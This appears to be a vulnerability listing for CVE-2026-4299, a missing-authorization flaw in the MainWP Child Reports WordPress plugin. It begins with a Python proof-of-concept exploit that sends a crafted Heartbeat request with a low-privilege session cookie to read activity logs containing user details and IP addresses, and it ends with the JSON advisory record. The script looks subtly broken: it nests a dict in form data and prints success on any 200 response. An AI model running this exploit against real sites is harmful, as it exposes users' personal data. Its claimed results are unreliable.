CVE-2026-4299

import requests target_url = "http://example.com/wp-admin/admin-ajax.php" # Cookie for an authenticated user with low privileges (e.g., Subscriber) cookies = { "wordpress_logged_in_xxx": "your_session_cookie_here" } # Payload exploiting the missing authorization check via Heartbeat API data = { "action": "heartbeat", "screen_id": "dashboard", "has_focus": "true", "data": { # This key triggers the vulnerable function in Live_Update class "wp-mainwp-stream-heartbeat": "latest" } } response = requests.post(target_url, data=data, cookies=cookies) if response.status_code == 200: print("[+] Vulnerability exploited successfully!") print("[+] Response:") print(response.json()) else: print("[-] Failed to exploit")

{"cve": {"id": "CVE-2026-4299", "sourceIdentifier": "[email protected]", "published": "2026-04-08T05:16:06.520", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The MainWP Child Reports plugin for WordPress is vulnerable to Missing Authorization in all versions up to and including 2.2.6. This is due to a missing capability check in the heartbeat_received() function in the Live_Update class. This makes it possible for authenticated attackers, with Subscriber-level access and above, to obtain MainWP Child Reports activity log entries (including action summaries, user information, IP addresses, and contextual data) via the WordPress Heartbeat API by sending a crafted heartbeat request with the 'wp-mainwp-stream-heartbeat' data key."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/mainwp-child-reports/tags/2.2.6/classes/class-live-update.php#L182", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mainwp-child-reports/tags/2.2.6/classes/class-live-update.php#L44", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mainwp-child-reports/trunk/classes/class-live-update.php#L182", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/mainwp-child-reports/trunk/classes/class-live-update.php#L44", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3490157%40mainwp-child-reports&new=3490157%40mainwp-child-reports&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7d4141bd-cd3f-44e9-b423-be03377a342d?source=cve", "source": "[email protected]"}]}}